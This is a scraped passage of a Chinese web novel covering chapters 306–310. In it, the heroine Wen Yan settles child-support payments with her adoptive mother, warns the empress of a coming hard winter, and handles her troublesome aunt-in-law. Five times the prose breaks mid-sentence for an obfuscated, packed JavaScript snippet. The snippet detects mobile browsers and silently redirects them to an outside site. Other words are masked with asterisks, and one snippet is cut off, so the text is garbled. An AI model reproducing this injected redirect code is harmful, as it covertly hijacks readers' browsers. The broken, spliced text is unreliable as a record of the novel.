根本不是什么重视,而是皇帝舍不得出钱,又不想别人说他小气而不得不赏。他便苦练书法。 只要不牵扯到极大的朝政,他都赐字予人。 有些厉害的官员家中,已经放着三四幅皇帝的墨宝了。 那玩意儿既不能送人也不能卖了换钱。 不当吃不当喝,还要像祖宗一样供着。 受赏的人一点都高兴不起来。 刚才闻颜得到重视,让他们嫉妒,现在见她得赐墨宝,竟雀跃地开始幸灾乐祸。 不一会儿,清风小楼四个字,便苍劲有力地出现在纸上。 闻颜接过墨宝,就准备离开。 “等等。”皇后突然出声叫住她。 “娘娘还有何吩咐?” 第306章:抚养费 皇后道:“你的清风小楼听着就很有意思,开业之时,记得给我也递一张帖子。” 闻颜诚惶诚恐:“民女记住了。” 闻颜扶着白夫人退开,帝后也起驾回宫。 文武大臣随着圣驾一起离开。 安静的城门口也渐渐活跃起来。 众多目光,都随着闻颜移动。 不过他们看的不是闻颜,而是跟在闻颜身后的应知林。 墨绿长衫,长身玉立,气质儒雅,更有一张惊世绝伦的脸。 那些妇人、姑娘的眼神几乎要粘在他身上。 应知林低垂着头,不堪其扰地往闻颜身后躲:“他们为什么要看我?他们的眼神好可怕,像是要吃掉我。” 闻颜安抚道:“他们没有恶意的,单纯欣赏你的美貌而已。” “啊?”应知林脸上疑惑,心里已经开始琢磨,闻颜是不是又在打什么坏主意。 对这些人的反应,闻颜很是满意。 对,就该这样! 越多人关注他越好,最好明天就有几个上门谈婚事的。 才不枉他对应知林的一番打扮。 上次流水席上,那位富绅明明起了把女儿嫁给应知林的心思。 可二十几天过去了,却一点音讯都没有。 闻颜有些着急了。 毕竟,按她的猜测,应知林已经度过死劫。 三年之后,他不会再死。 应知林在她眼中,就从一块带着温度的牌位,变成了一个活生生的大丈夫。 而他对自己过度依赖,太容易情感扭曲,产生一些不该有的心思。 在他身边待得越久,后面想和离就会越艰难。 契约在婚书面前,也会变为一张废纸。 为了以绝后患,她也该提前准备,让他身边多些善解人意,温柔体贴的女子。 这样他才不会只盯着她一个人。 既然今天得了帝、后的青睐,那她和应知林的契约,就不必等四年之久。 她会趁机抱紧帝、后大腿,彻底在京城站稳脚跟,就能提前结束这段契约关系。 也只有重新进入权贵圈子,只有收集足够多的筹码跟津平侯对着干。 才能把霍耀行彻底踩死。 孟迟飞不必进宫中,帝驾一走,她就飞奔向闻颜:“颜颜!” “迟飞姐姐!”闻颜张开双臂,想和她来一个大大的拥抱。 孟迟飞却一把掐着她的腰,将她抱了起来转圈圈。 等孟迟飞把她放下,闻颜已经晕头转向,眼前直冒星星,站都站不住了。 孟迟飞见她晕乎乎的样子,乐得哈哈直笑。 应知林抿着唇,上前扶着闻颜,让她靠在自己肩膀上。 凑热闹的人渐渐散去,江心葵和闻如月也坐着马车,准备随着人流离开。 闻颜指着马车:“迟飞姐姐,江心葵要跑了,扶养费还没给,拦住他们。” 孟迟飞闹归闹,办起事来却是一等一的靠谱。 人流太多,她挤不过去。 便借力运起轻功,没几下就落在闻家的马车上。 她直接夺过缰绳,将马车调转方向,朝白夫人方向驶去。 江心葵并不想跟闻颜撇清关系。 闻颜刚受了皇帝的嘉奖,接下来肯定还有不少好处和机会。 比如她那个新店开业,万一真的请来了皇后,她也能混个脸熟。 所以她想混在人流中离开,没想到还是被逮住了。 闻如月眼珠子滴溜溜地转,想到算完抚养费,就会失去对闻颜的绝对控制权。 她摇着江心葵的胳膊:“母亲,你想想办法啊,难道就这样放过闻颜?” 江心葵撩起马车帘子往外看了一眼,见皇后留下的宫女,正在跟白夫人交谈。 她便知道,今天这事糊弄不过去了。 她朝闻如月摇摇头:“先试试吧,若她油盐不进,我们没有别的办法,就只能利益最大化了。” 马车很快就停在孟家马车的旁边。 江心葵母女互相搀扶着下了马车。 江心葵一看见闻颜,就几步上前握住她的手,开始演慈母情深:“颜颜,刚才母亲说的都是气话。 你刚出生的时候才这么点大,是我一把屎一把尿把你喂大,十几年的朝夕相处怎么可能没有一点感情。 只是你如月姐姐刚回来,我想弥补她,所以才会多偏心她,冷落了你。 母亲真的不是故意的。” 闻颜一行人听得眉头直抽抽。 什么叫一把屎一把尿把她喂大。 这人会不会说话啊! “是我没福气,我们的母女缘分尽了。 蓝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424118|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心姑姑还急着回去向皇后娘娘复命,我们还是到路边的茶摊上尽快清算吧,一切公开透明,才能没有争议。” 有蓝心姑姑做挡箭牌,江心葵气得脸颊的肉颤了颤。 她只得答应下来。 双方分开行动。 孟家直接叫来了五位账房先生,江心葵则派人取来这些年的账本。 江心葵虽然居心不良,但她管家却是一把好手。 闻颜从小到大的衣食住行,日常开销,都有闻家的公账可查。 闻颜一年四季八身衣裳,加上首饰和吃住,一年的花销约莫在百两银子左右。 不过,自从闻颜八岁结识了孟迟飞之后,闻颜的衣服几乎就被白夫人承包了。 但凡孟迟飞有的,闻颜都有一份。 十六年时间,总共加起来不足千元。 但闻颜按千元来计算。 随后便是读书的花费。 四书五经是在族学上的,琴棋书画虽然都特地请了西席先生。 不过也是与孟氏一族,十三位小姐一起学习。 每年花费一千五百两,请了四年西席。 而闻颜只需付十三分之一的费用,共计四百六十两银子。 再就是带她出席各种宴席,人脉结交等折现,所有费用加在一起,白夫人给了她二千两银子。 账目文书写得清清楚楚,拿给江心葵签字画押。 江心葵虽然不舍不甘,但还是写下了自己的名字。 闻颜又把文书递到闻如月面前:“既然你看了全程,也在上面签个字吧。” 闻如月张了张嘴,又秋了一眼蓝心姑姑。 乖乖签下名字。 闻颜将契书拿给蓝心姑姑:“有了这个,我就能去官府改名字了吧。我想跟着亲生父母姓。” 蓝心姑姑笑着点点头:“当然可以。” 拿到签好名字的文书,闻颜一颗悬着的心终于落了地。 双手一手交钱,一手交文书。 闻颜数出两千两银子给江心葵:“喏,不用找了。” 江心葵气得发抖。 但她是把银子推了回去:“想要跟我断亲也可以,我不要银子。” “那你想要什么?” “刚才不是说,你从晋阳府采购了百万斤木炭回来吗,你把那些木炭全部给我就好。” 第307章:发**财 闻颜正愁找不到机会,把寒灾的事往上面报。 江心葵就主动送上门来了。 今天真是个好日子。 烦恼的事儿总能成。 闻颜掩下高兴,问道:“你想要多少?” “全部!”江心葵道。 只要拿到那些炭,他们就能在今年冬天,让半个朝廷的官员都欠下他们的恩情。 到时,别说控制一个闻颜,便是让闻父当上户部尚书也是手到擒来。 闻颜狐疑地看着江心葵:“那可是百万斤炭,非常非常多,就算府上每个屋子,十二时辰不间断的烧也用不掉的。” “能不能用掉要你管?”闻如月白她一眼,“你把炭给我们就行了。” “总之,一手交炭一手交契书。” 闻颜脸上的神情越发的不解:“江夫人,您向来持家有道,为何放着钱不要,反而要这些没用的炭。 莫非,这些木炭对你有大用?” 江心葵的眼神明显闪躲了一下。 嘴犟的解释:“你……你少胡说八道,什么大用不大用的。我冬天畏寒,想多备些木炭罢了,这有什么好奇怪的。” 闻如月也在一旁帮腔:“还不是我母亲心疼你。你本来就生活艰难,一下子跟外人借二千两,这么多银子,你得还到猴年马月!不如用炭来抵债。” 闻颜没有被他们带歪,继续猜测:“木炭仅有的两个作用,做饭、供暖。 做饭有柴禾,那唯一的目的,便是供暖。 莫非……今年是一个寒冬!” 闻如月啧啧两声:“江夫人,既然今年是寒冬,你们可有往上报? 上面知道了吗? 是怎么安排的? 有没有什么应急措施? 我们怎么一点声音没听到?” 江心葵一脸惊恐地看着闻颜。 闻颜是不是疯了。 仅凭她一个举动,就猜出全部真相。 若是消息真的传出,所有人都开始囤炭,他们的计划还怎么实施? 江心葵连忙否认:“不是的。我没有。我只是可怜你。” “江夫人,事到如今你还不承认吗? 您若是将此事广而告之,可以让更多的百姓有所准备,不至于在寒冬里丢了性命。 可是您一声不吭,悄悄囤炭。 哦……我知道了。 ……江夫人您是想寒冬,卖炭大发**财啊!” 闻颜声音不小。 周围本就有很多人注意着他们。 一句‘大发**财’,顿时便将所有人注意力都吸引了过来。 那些围观的人,纷纷朝这边看过来。 江心葵大急,她不敢承认,直抹眼泪:“我没有!我的一片好意想帮你,你不领情就算了,反而还想冤枉我。 枉费我们这十几年对你的悉心教导。” 言外之意,便是龙生龙凤生凤,老鼠生儿会打洞。 闻颜生身微寒,骨子里流着卑微血液,即便是在官宦之家悉心教导了十几年,也难改骨子里的卑微**。 闻颜对她的阴阳怪气并不介意。 反而一脸后悔地道:“哎呀!原来是这样! 果然,母亲您是知书达理的世家千金,怎么可能会干出那种缺德事。 所以,这些银子,您就好好收着吧。” 闻颜将银子硬塞到江心葵的手中:“此间事了,就不再耽误江夫人了。江夫人请回吧。” 江心葵冷哼一声,便灰溜溜地坐上马车走了。 蓝心姑姑也准备告辞离开。 闻颜将她送上马车,一副欲言又止的模样。 蓝心姑姑:“颜小姐有话直说。” 闻颜下定决心道:“蓝心姑姑, 江夫人无利不起早,她不可能对我大发善心,买炭之事必有蹊跷,斗胆请姑姑在皇后娘娘面前提一嘴,今年冬天兴许真的是个寒冬。” 蓝心姑姑玩味地看着她:“你倒是心思细腻。” 闻颜苦笑:“过了两年寄人篱下的日子,多少会一点察颜观色。蓝心姑姑,宁可信其有不可信其无。 如若真是寒冬,不知要冻死多少百姓。” “放心吧,此事我会认真提一提的。” 闻颜松了一口气:“劳烦姑姑了。” 将人恭敬送走之后,闻颜才回到队伍。 孟迟飞一把抱住闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15427667|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颜,跟闻颜贴贴蹭蹭:“颜颜,几个月不见。我想死你了,你有没有想我啊!” “想,每天都想你。我的好姐姐。”闻颜发髻都快被她蹭散了。 两人腻歪够了,孟迟飞就想去松山村住。 白夫人戳着她的额头:“你哥哥进宫去了,随时可能召见你。” 孟迟飞一声哀嚎,恋恋不舍地同闻颜分开。 闻颜的婉拒了去孟家作客的提议,“义母、二婶婶,那两千两我会尽快还给你们的。” 月底‘天衣布庄’分一次账,就能把这两千两还上了。 随后,闻颜就和应知林一起回松山村了。 两刻钟后,皇后寝宫。 “她真这样说?”皇后诧异问道。 蓝心姑姑给皇帝捶着腿:“真这样说。奴婢看着她,不像是特意邀宠,而是真的关心百姓。” “你很喜欢她?” 蓝心姑姑笑道:“很久没看见这么直率的小姑娘了。” 能在宫里活下来的,哪个不是八百个心眼子。 闻颜算得上是稀有品种了。 “直率却不呆板,可惜已经嫁人了。”皇后摇摇头。 不然指给太子当侧妃也不错。 皇后想了想,便摘下手上的戒指玉镯:“去告诉皇上一声,我今晚做手擀面。” “娘娘,您要跟皇上说寒冬的事?万一是她多虑了……” “那丫头有句话说得对,事关百姓,有备无患准没错的。” “皇上肯定会推掉所有事,准点过来。”蓝心姑姑会心一笑,“奴婢这就去安排。” 翌日清晨,大朝会上。 皇帝对孟希延赈灾一事赞赏有加,随后问他想要什么赏赐。 孟希延当即跪下:“皇上,微臣想要合香丸,请皇上赐药。” 合香丸? 皇帝看向身边的总管太监。 总管太监上前小声解释了什么。 皇帝眉头微皱,关心问道:“希延,你受伤**了?” 孟希延道:“赈灾的时候剿匪中遭了暗算。” 皇帝当就准了他的请求:“准了,合香丸赏你就是了。你还有别的想要的吗?” 第308章:皇帝催婚 孟希延迟疑了一下,才道:“微臣妹妹爱吃御善房做的炙子骨头、羊头签、莲花鱼包……” 他的话没说完,皇帝就抬手阻止了他:“还有蟹酿橙、酥油鲍螺、乳糖狮子、蜜煎、雪霞羹、宋嫂鱼羹、群仙羹,最后要再来些冰雪冷丸子、梅花汤饼、沉香熟水溜溜缝。” 孟希延黢黑的俊脸悄悄地红了,因为贪嘴的妹妹变得有些扭捏:“迟飞嘴馋,就爱吃这些。” “迟飞爱吃,随时进宫来吃就好,这等小事,怎能与你的功绩相抵。 既然你想不到想要什么,那我就看着给了。”皇帝摆摆手,就将此事定下了。 一旁的大臣直撇嘴:什么小事? 一道群仙羹就要耗费各种山珍海味熬制而成。 便是宫里的主子,也只能在重要的宴席上才能吃到。 孟希延没再提别的要求,皇帝反而不高兴,沉默一会儿,便道:“你年龄也不小了,婚事也该提上日程了。你可有相中谁家的姑娘,说出来,朕为你赐婚。” 孟希延一脸诚惶诚恐,道:“微臣还没有喜欢的姑娘。” 皇帝道:“这么多年了,你还放不下那个姑娘?” 孟希延不答,只是跪了下来。 皇帝长叹一声:“深情不寿,那姑娘都走了五六年了,你也该走出来了。 你喜欢她,就把她放在心底。 底天下还有很多好姑娘,总能再找一个你喜欢的,你可不能耽误了终身大事。 若是那个姑娘泉下有知,也会担心你的。” 武将家的儿郎,不知哪天上了战场就回不来了。 孟希延作为家中长子,二十有一了还不曾娶妻生子,这几年又战事频繁,他要是出点什么意外,以后连给他摔盆烧纸的人都没有。 皇帝也是操碎了心。 没有他这个皇帝操持,老孟家迟早得散。 老孟和小白也是,一心扑在打仗上,也不知抽空管一管几个孩子。 每次问到,都说不急,还说什么让孩子自己慢慢挑慢慢找,找到一个合心意的,相亲相爱才能相互扶持着走一辈子。 老大五年前喜欢的姑娘死后,就封心锁爱,对年轻姑娘不看一眼。 迟飞的娃娃亲事眼看能成婚了,结果又是个心术不正的。 孟家是不是刨了别人的祖坟,才让家中后辈的婚事,一个比一个坎坷。 皇帝都替他们老孟家担忧,会不会绝了后。 孟希延:“皇上,微臣……微臣还没办法接受别的女子,还请皇上给微臣一点时间。” “你啊……” 皇帝无奈的长叹一声,就让早朝散了。 大臣们你瞅瞅我,我瞅瞅你的出了大殿。 今天真是小刀剌屁股,开了眼了。 向来不苟言笑的皇帝,竟然当起了知心大哥哥,开导起孟希延。 那语重心长的样子,就像一个和善的长辈对待看重的小辈一样。 也不知是谁在传,说皇帝忌惮孟家,欲将孟家拔除。 现在看来传言有误,孟家还能再风光好几十年。 昨日,闻颜他们一路回村。 途中经过十里亭,遇见一支车队。 车队上还插着旗帜,蜿蜒在官道上,几乎看不到头。 离得近了,便能看到更多细节。 那些旗帜上写着‘一点墨’三个大字,原来是自家的运炭车队。 赶车的人有老有少有壮汉有妇孺,他们个个身形瘦削,穿得破破烂烂,衣服上补丁摞着补丁。 闻颜的马车一到,赶车人全都好奇地看向他们。 闻颜跳下马车,找了一个妇人询问:“请问,你们管事的人是谁?” 妇人好奇地打量着她:“你是谁啊?找我们管事干什么?” “我是来交接木炭的。” “你一个小姑娘?”妇人好奇归好奇,但还是让人去叫人,“你在这里等着吧,我们薛管事马上就来了。” 没一会儿。 一个车夫就领着一个中年男子过来了。 “薛义叔,”闻颜惊讶地喊道,“是你过来送炭啊!” 上次他们去晋阳府,第一个借住的地方,就是薛义家中。 薛家还被他们连累,失火把房子烧了。 “丑……丑娘?!”薛义抱拳行礼的动作僵在半空,不可置信地问。 对方的声音实在太像丑娘,他不会听错的。 但是,眼前这个漂亮灵动的小姑娘,跟他印 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15427668|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 象中那个面容丑陋,畏畏缩缩,说话都不敢大声的丑娘,大相径庭。 “是我。薛义叔,薛小妹和薛奶奶身体还好吗?”闻颜笑着道。 “托你们的福,他们一切都好。不过……你们真是同一个人?容貌差得也太多了吧!” 闻颜笑着道:“出门在外,难免要做一些伪装,薛义叔你别介意。” 薛义笑笑:“怎会介意。女子在外,比男子更加谨慎小心是对的。” 他们寒暄几句,就转入正题。 外面这支车队,是他们临时组建起来给她运炭的:“这一趟,我们拉了二十万斤炭,大半是精炭,小半是普通的次炭。” 这得二百多辆车来拉,再加上一路上的物资消耗,这一趟拉的东西真的很多,也很不容易。 闻颜没这么大的库房,还是先把炭送去孟家的庄子上。 孟家的庄子上,多是从战场退下来的老兵。 炭放在那里,他们会看护好的。 解决了炭的事,薛义又道:“这次,我们还带了一个人来。” 说着,他朝空中拍了拍手。 随即,就见几个婆子,押着一个丰腴的年轻姑娘走了过来。 那姑娘正是应喜妹。 她一看见闻颜,就想到自己这一路上吃过的苦,受过的罪。 她顿时就气红了眼眶,激动地扑了过去:“闻颜,你敢害我!你知不知道,这一路上我吃了多少苦,我跟你拼了……” “你要跟谁拼了?”应知林陡地出声。 应喜妹觉得声音耳熟,定睛看了好几眼:“你……你是应知林!” 在应喜妹的印象中,应知林只是长得清秀些,怎么换了一身衣裳,就大变样了。 “你刚才想跟她拼命?”应知林又重复了一回,声音就更冷酷。 应喜妹顿时就委屈得撇着嘴,眼泪也在眼眶里打着转:“应知林,我可是你小姑。 你也不问问闻颜,她对我做了什么,你反而来质问我。你还有没有良心! 都怪这个小浪蹄子,故意把我骗去晋阳府,我差点都没命活着回来。” 应知林一把抓住应喜妹的手腕,稍一用力便将她提了起来:“你刚才骂她什么?你再说一遍。” 第309章:应知林生气 应喜妹被提得双脚离地,一阵乱蹬,哇哇大哭。 呜呜……她太惨了。 她这辈子就没这么惨过。 她才出了京城地界,就被人骗光了银子,还想把她卖去青楼。 她还算机灵,看出那些不是好人,假装顺从,半夜偷偷逃了出来。 即使这样了,她也不肯返回京城,反而继续往晋阳府走。 她觉得,只要自己表现得越惨,孟希延看见之后,就会越心疼她。 她运气不错,逃出去没几天,就遇上了一支商队。 商队里的人还怪好的,竟然同意带着她一起上路。 她除了帮商队干活累一些,基本衣食无忧。 经过大半个月的奔波跋涉,应喜妹终于到了晋阳府。 她迫不及待地去找孟希延。 不过,那段时间孟希延一直在盯着清理河道,根本不在府衙。 孟迟飞很快就发现了她,并将她控制起来,搞了几个婆子,每天十二个时辰,不间断地盯着她。 此后,孟迟飞就被关在一间小院当中,直到前不久,孟迟飞他们回京,她才被放了出来。 她还以为自己就能去找孟希延了,到时候,她一定要狠狠告孟迟飞一状。 结果,她只是从院子转移到马车里。 别说是告状,应喜妹连出马车的次数都屈指可数,就更不可能见到孟希延了。 她跑这一趟,就净吃苦去了。 “给我夫人道歉。”应知林冷漠地盯着应喜妹。 应喜妹吓得直哆嗦,哭着说:“对……对不起!” “你跟谁说呢?” “闻……闻颜,对不起!我不该骂你。” 应知林又回头着闻颜:“你要原谅她吗?” 结婚这么久,闻颜第一次见他发火,竟是为了自己。 她真的很意外。 闻颜轻轻拍他的胳膊:“别把人勒**,快放下吧。 还有,我告诉你,当初是你缠着我,非要孟大哥的行踪,是你自己要去的,我既没被逼你也没鼓动你,你别想把什么事都往我身上赖。” 应知林提着人没动。 闻颜重拍他一下:“乖,听话,把人放下。为这种人动手不值当。” 应知林耳朵发烫,听话地松开了应喜妹。 薛义问道:“她是孟校尉让我转交给您的,您看她要怎么处理?” “交给我吧,我会把她处掉的。” 闻颜让那几个妇人,把应喜妹押下去,塞进闻颜的马车里。 应喜妹脑子里一片空白。 闻颜说什么? 要处理自己? 她这一路直来,也长了不少见识。 处理掉不就是要杀了吗? 她还不想死! 诸如又是尖叫又是挣扎:“闻颜,你敢这么对我,我做鬼都不会放过你,我娘也会为我报仇,她一定会把你打成猪头。” “吵**,让她闭嘴。”闻颜捂着耳朵。 押解她的妇人,不知从哪里掏出一块又脏又丑的巾子,塞进应喜妹的嘴里。 应喜妹被恶心的臭味熏得眼前一黑,胃里直犯恶心,哇哇想吐,但又吐不出来。 别提有多恶心了。 事情交接完成,闻颜给薛义叔指了去孟家庄子的路,她则带着应知林和应喜妹几人回松山村。 回去的一路上。 应喜妹就算被绑了手脚堵了嘴也不安分,在马车里乱蹬乱撞。 吵**! 闻颜拿着一根棍子就钻入马车当中。 应喜妹看着手臂粗的棍子,就觉得后颈凉嗖嗖的。 “闻颜,你想干嘛,**犯法的,我可是你小姑,你这是不孝,罪加一,啊…… 她的话还没说完,闻颜就对她当头一棒。 应喜妹双眼一翻,就晕了过去。 世界终于清静了。 也正是因为安静了。 闻颜也发现了不对劲之处。 她拿出一支巴掌大的铜镜,检查妆容。 忽然,她的脸色一沉:“我们被人跟踪了。 在城门口就看见他们了。 我们在十里亭耽搁了那么久,他们不可能还跟在我们身后。” “谁会跟踪我们?”应知林回头。 闻颜连忙捏着他的下巴阻止,“别回头,会暴露的。喏,你用这个看。” 闻颜把镜子塞给他,自己接过缰绳赶马车。 应知林:“……” 他拿着镜子朝后观察,果然看到跟踪他们的人。 二人都选择不要打草惊蛇,若无其事地继续往前走。 “你打算怎么办?”应知林问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432333|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她。 “你怎么一点都不害怕,万一是穷凶极恶之徒呢?”闻颜好奇地问他。 “我紧张害怕,他就不会跟踪了吗?” “你说的还怪有道理的嘞!”闻颜没忍住,‘噗嗤’一声就笑了出来。 “现在怎么办?要甩掉他们吗?” “不用,马车笨重,我们还带着几个拖油瓶。跑不过他们的。 况且,除了后面的马车,周围的树上还有人。 而且,我已经猜到那些人是谁了。 把他们解决了,他们的主子还会派别人来的。不如先把他们留着,说不定还能有点用。” “我不懂这些,都听你的。”应知林笑着点头,那一副全身心依赖她的模样,别提有多乖巧了。 哎呦哎呦,又帅又乖的,闻颜的心花都要让他哄开花了。 很快,马车就停在了松山村外。 闻颜对几位婶子一番叮嘱之后,就拉着应知林下了马车。 闻颜夫妻二人步行回家。 马车则载着应喜妹回到老应家。 一位婶子下车去敲门。 好一会儿,院门才从里面打开。 乔大双站在门内,狐疑地打量着婶子和马车:“你们谁啊,干什么的?” 婶子抬头挺胸,用下巴看人,端出一副高傲的样子:“你们就是应喜妹的家人?” 乔大双点了点头:“我是应喜妹的大嫂。你们是谁啊?” “那我们就没有找错地方。”那婶子说完就一挥手。 马车里。 一张湿帕子捂在应喜妹脸上。 现在已是深冬。 天气本就寒冷,湿帕子就更别提了。 一块湿帕子落下,应喜妹被冻得一个激灵,一下就醒了过来。 她弹坐而起,眼神恶狠狠地瞪着几个婶子,嘴里发出呜呜声。 虽然听不清她具体骂了什么,不过看她的表情就知道,骂得有多脏! 闻颜呢? 闻颜那个**去哪儿了? 敢打我闷棍,我要杀了她! 其中一个婶子威胁道:“你若是不想名声尽毁,最好乖乖配合我们,否则我们不介意把你这几个月的事说出去。 到时候你的名声毁了,别说是嫁给孟小将军,恐怕连这个村里的无赖都不肯娶你了。” 第310章:**儿出事 应喜妹再犯浑,也知道名声对女子的重要性。 她根本不敢反抗,只得任凭摆布。 把应喜妹拖下马车之后,周围已经来了不少围观的村民。 婶子捏着嗓子,轻咳一声,道:“应姑娘与我家小姐投缘,特地邀她到家中作客,今日才将她送回。” 该说的话都说完了,这糟心丫头的名声也该保住了吧! 婶子照本宣科地讲完,坐上马车就走了。 应喜妹气得跺了跺脚,气哼哼地回家了。 闻颜和应知林步行回到家中。 一路上他们都没遇见什么人。 平时人满为患大树下,此时却过分安静,只有五六个年迈的老人在晒太阳。 两人继续往回走,忽地看见一个十六七岁的少年。 他在看见闻颜夫妻后,低下头就匆匆跑了。 闻颜看着那背影蹙眉:“怎么有些眼熟?” 应知林道:“是黄家的人,**儿的堂弟。” “他没事到我们村里来做何?”闻颜眼睛瞪得圆溜溜的,“**儿对你不会还没死心吧!” 闻颜撞了他肩膀一下,怼他挤眉弄眼:“没想到你魅力这么大! 要不然,我找个媒婆去黄家提亲?让**儿再等两年,到时候嫁过来做当家夫人?” 应知林的脸色陡地一黑,从牙缝里挤出:“我宁愿光棍一辈子,也不会娶她。” “你这么大火气干什么!”闻颜缩了缩脖子。 应知林怕把她给吓着了,深吸一口气,才同他解释:“**儿开了一个卤肉摊,生意好得很。 她家的人到处收家禽。 不过,以前这些事不是交给她亲大哥来做吗?现在怎么让他堂弟来做了?” “原来如此。”闻颜点点头,不由想到那日去京城,在县城买到的卤味,不会就是**儿的吧! 看来,经历过掉井一事,让**儿彻底清醒了。 **儿有这么好的卤肉手艺,将来的日子必定不会差! 闻颜他们回到家中,佩儿几人把家里打理得井井有条。 小海和知雪每天跟着辰七哥读书三个时辰。 五婆婆和外祖母胖了一圈儿。 应知林恢复书院、家中两点一线的生活。 村里但凡针线活过得去的人,都接了缝制皮草的活,八卦亭里每天都很热闹,全是来做针线活的。 佩儿在里面加了几个火炉,大家做活时,才不会受冻。 八卦亭里不仅充满了欢声笑语,还是八卦集散中心。 这日裁新的皮草料子,闻颜被请去指导技术,婶子们又说起新的八卦: “你们知道吗?黄家不行了!” “怎么不行了?前段时间,他们不是还赚得盆满钵满吗?” “县里有个大人物看中了她的卤肉方了,想买下来。 **儿倔脾气,说什么都不肯卖,结果就遭了那个大人物的黑手。 她两个哥哥被打断的腿扔在家门口,要不是她爹起夜发现,她两个哥哥早就冻**。” “啊……这么惨呐!” “那种好东西,我们这种普通人是留不住的。 **儿还没学乖,最近又在弄什么咸蛋,正让她堂弟四处收鸡蛋呢。” 闻颜听得摇了摇头。 **儿无权无势,怎么可能保住方子? 她最开始就该找一个靠山,少赚一点,但安全。 以后有机会遇上,倒是可以提醒提她一二。 忽然,有个婶子挤到闻颜面前,手里拿着一块巴掌大的碎布头,一脸讨好笑容地看着闻颜:“举人娘子,这些大块的布头能卖给我吗?我想给家里的小孩做一副手套。” “当然可以。”闻颜道,“你家里孩子多,就多挑几块吧。” “谢谢,谢谢举人娘子了。” “大家都是一个村的邻里,不用客气。”闻颜又对其他人道,“你们有谁想要,也可以挑几块。就算是掉下来的浮**,也可以用来絮棉衣。” 众人面面相觑,最后一个人问道:“那我们跟你买吧。” “今天这些布头和浮**不要钱,就当是你们发福利了。”闻颜脑中忽然灵光乍现,叫上佩儿,“回家,我有新的想法了。” “好的,小姐。” 闻颜回到家中,就坐到桌前拿出纸笔:“佩儿,我们应该还有很多裁下来的碎布头吧,你帮我去取些过来吧。” “颜色大小有要求吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432334|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不挑,都拿一点吧。”闻颜蘸上墨水,已经画了起来。 等佩儿把皮草的布头拿回来,闻颜的草图也画完了。 两人分工合作。 闻颜绣样图,佩儿则按照尺寸裁剪。 外祖母来门口观望了好几次。 闻颜知道,外祖母心里有个结,觉得在这里白吃白住。 闻颜便叫外祖母一起帮忙。 外祖母见自己能帮上忙,顿时高兴起来。 外祖母的针线活很好,三人一边闲聊,一边作事。 聊着聊着,便说起应知林小时候的趣事。 应知林小时候可皮了,下河摸鱼,上树掏鸟窝,打遍村里无敌手。 七岁上私塾读书,十岁中童生,十六岁就考中了秀才。 意气风发,夺目耀眼。 可惜,自从他爹娘去世后,弟妹和老应家,就像几座大山压在他肩膀上。 年少意气的他,强迫自己变得沉稳,保护弟妹…… 佩儿听得心里发酸:“姑爷他真可怜。” 闻颜却在想:果然啊! 即便应知林二十多岁了,他骨子里还是缺爱,想要依恋他人…… 他们说着话,不知不觉就天黑了。 “外祖母,您又在说我小时候的糗事了吗?”应知林的声音突然从门口传来。 “哎呦,知林散学回来了。” 应知林走进来,自然而然地坐到闻颜对面。 外祖母见状,朝佩儿使了个眼色,两人就离开了。 房间里只剩下二人。 应知林见闻颜在刺绣,葱白似的手指,蝴蝶似的飞针引线,垂首的动作使她的脖颈越发柔长。 明亮的烛光仿佛给她镀上了一层金芒,耀眼无比。 应知林的的目光,根本无法从她身上移开。 